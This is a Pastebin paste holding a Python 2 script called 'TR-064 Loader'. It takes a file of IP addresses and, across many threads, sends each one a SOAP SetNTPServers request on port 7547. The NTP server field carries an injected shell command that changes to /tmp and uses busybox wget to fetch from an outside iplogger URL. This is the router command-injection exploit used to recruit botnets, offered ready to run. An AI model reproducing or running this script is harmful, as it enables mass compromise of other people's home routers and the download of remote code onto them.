Dr-L0v3

TR-064 Loader

Jan 25th, 2018
455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.68 KB | None | 0 0
  1. #! python !#
  2.  
  3. # TR-064 Loader
  4.  
  5. # Dr.L0v3
  6.  
  7. import sys, os, re
  8. from threading import Thread
  9. from time import sleep
  10. import requests
  11. from requests.auth import HTTPDigestAuth
  12. from decimal import *
  13.  
  14. ips = open(sys.argv[1], "r").readlines()
  15. motherthreads = int(sys.argv[2]) #2-1000
  16. motherthread_count = len(ips) / motherthreads
  17. motherthread_chunks = [ips[x:x+motherthread_count] for x in xrange(0, len(ips), motherthread_count)]
  18. payload = "<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;>   <NewNTPServer1>`cd /tmp && /bin/busybox wget http://iplogger.co/2qWq45`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNT PServer4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>"
  19. headerlist = {'SOAPAction': 'urn:dslforum-org:service:Time:1#SetNTPServers'}
  20.  
  21. def dump(count):
  22.     count = int(count)
  23.     for i in motherthread_chunks[count]:
  24.         try:
  25.             url = "http://"+i+":7547/UD/act?1"
  26.             url = re.sub('\n', '', url)
  27.             r = requests.post(url, timeout=5, headers=headerlist, data=payload)
  28.             print "[TR-064] Payload Sent %s"%(url)
  29.             motherthread_chunks[count] = motherthread_chunks[count].remove(i)
  30.         except:
  31.             pass
  32.  
  33. for x in xrange(motherthreads):
  34.     try:
  35.         thread = Thread(target=dump, args=(x,))
  36.         thread.start()
  37.     except KeyboardInterrupt:
  38.         sys.exit("STOPPING!!!")
  39.     except:
  40.         pass
Advertisement
Add Comment
Please, Sign In to add comment